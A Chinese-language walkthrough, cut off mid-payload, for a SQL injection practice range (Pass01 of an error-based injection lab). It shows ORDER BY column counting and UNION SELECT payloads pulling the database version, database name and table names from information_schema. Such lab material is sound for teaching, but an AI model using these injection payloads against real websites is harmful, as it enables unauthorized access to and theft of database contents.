封神台靶场 | 显错注入
题目地址: 掌控安全学院SQL注入靶场
文章目录
Pass01
MYSQL补充知识点
查询所需数据
查询user表中的内容
Pass02
Pass03
Pass04
任务
通过显错注入获得flag。
对该页面进行GET传参,传参名为id
Pass01
数据库查询语句:
select * from user where id=1
查询该列数据:表示该列只有3条对应的数据
id=1,id=2,id=3:正确
id=4:No results found(报错)
查询字段数:表示该表只有三列字段
order by 1,order by 2, order by 3 :正确
order by 4 :No results found(报错)
查询数据库版本和当前使用的数据库 :
当前使用的数据库版本:5.6.47 ;
当前使用的数据库:error
id=1 and 1=2 : No results found(报错)
id=1 and 1=2 union select 1, version(),database()
MYSQL补充知识点:
- UNION
MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。(来源:菜鸟教程) - LIMIT
select columnName from tableName limit 0,1
即是指从表中从第0行开始取数据,取1行。 - information_schema 库
在MYSQL中,information_schema 存放着mysql的系统信息。简单介绍一下下面会用到的几个表。- SCHEMATA:存放MYSQL中所有的数据库名。
- TABLES:存放MYSQL中所有的表名,xx库下都有xx表。
- COLUMNS:存放MYSQL中所有的列名,xx库下的xx表都有xx列。
查询所需数据:
- error库下的数据表: error_flag 、 user
id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=